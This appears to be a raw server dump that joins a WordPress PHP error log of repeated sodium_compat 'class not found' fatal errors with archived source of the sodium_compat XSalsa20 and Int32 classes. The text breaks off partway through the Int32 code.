[01-Nov-2025 23:03:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[01-Nov-2025 23:43:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[01-Nov-2025 23:43:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[01-Nov-2025 23:43:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[01-Nov-2025 23:43:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[01-Nov-2025 23:43:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[01-Nov-2025 23:43:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[01-Nov-2025 23:43:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[01-Nov-2025 23:43:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[01-Nov-2025 23:43:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[01-Nov-2025 23:43:08 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[01-Nov-2025 23:43:08 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[01-Nov-2025 23:43:23 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[03-Nov-2025 12:10:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[03-Nov-2025 12:10:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[03-Nov-2025 12:10:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[03-Nov-2025 12:10:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[03-Nov-2025 12:10:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[03-Nov-2025 12:11:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[03-Nov-2025 12:13:55 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[03-Nov-2025 12:14:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[03-Nov-2025 12:15:56 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[03-Nov-2025 12:16:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[03-Nov-2025 12:21:43 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[03-Nov-2025 12:22:24 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[03-Nov-2025 12:23:24 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[03-Nov-2025 12:26:26 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[03-Nov-2025 12:28:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[03-Nov-2025 12:29:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[03-Nov-2025 12:32:18 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[03-Nov-2025 12:33:09 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[03-Nov-2025 12:36:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[03-Nov-2025 12:37:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[03-Nov-2025 12:38:51 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[03-Nov-2025 12:39:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[03-Nov-2025 12:40:56 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[03-Nov-2025 12:41:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[03-Nov-2025 12:43:02 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[03-Nov-2025 12:44:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
Core32/XSalsa20.php000064400000002543151024233030007644 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XSalsa20
 */
abstract class ParagonIE_Sodium_Core32_XSalsa20 extends ParagonIE_Sodium_Core32_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
Core32/Int32.php000064400000060004151024233030007202 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core32_Int32
 *
 * Encapsulates a 32-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int32
{
    /**
     * @var array<int, int> - two 16-bit integers
     *
     * 0 is the higher 16 bits
     * 1 is the lower 16 bits
     */
    public $limbs = array(0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int32 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int32 objects
     *
     * @param ParagonIE_Sodium_Core32_Int32 $addend
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];

        $r1 = $i1 + ($j1 & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int32 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];

        $r1 = $i1 + ($int & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r0 >> 16;
        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 2;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** @var int $gt */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** @var int $eq */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $m
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mask($m = 0)
    {
        /** @var int $hi */
        $hi = ((int) $m >> 16);
        $hi &= 0xffff;
        /** @var int $lo */
        $lo = ((int) $m) & 0xffff;
        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) ($this->limbs[0] & $hi),
                (int) ($this->limbs[1] & $lo)
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = ($a_i * $b_j) + $r[$i + $j];
                $carry = ((int) $product >> $baseLog2 & 0xffff);
                $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $right
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2];
        }
        return $return;
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt($int = 0, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast((int) $int);
        }
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($int & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt32Fast($int);
        }
        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $b = clone $int;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($b1 & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;

        return $return;
    }

    /**
     * OR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function orInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1])
        );
        /** @var int overflow */
        $return->overflow = $this->overflow | $b->overflow;
        return $return;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 1;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
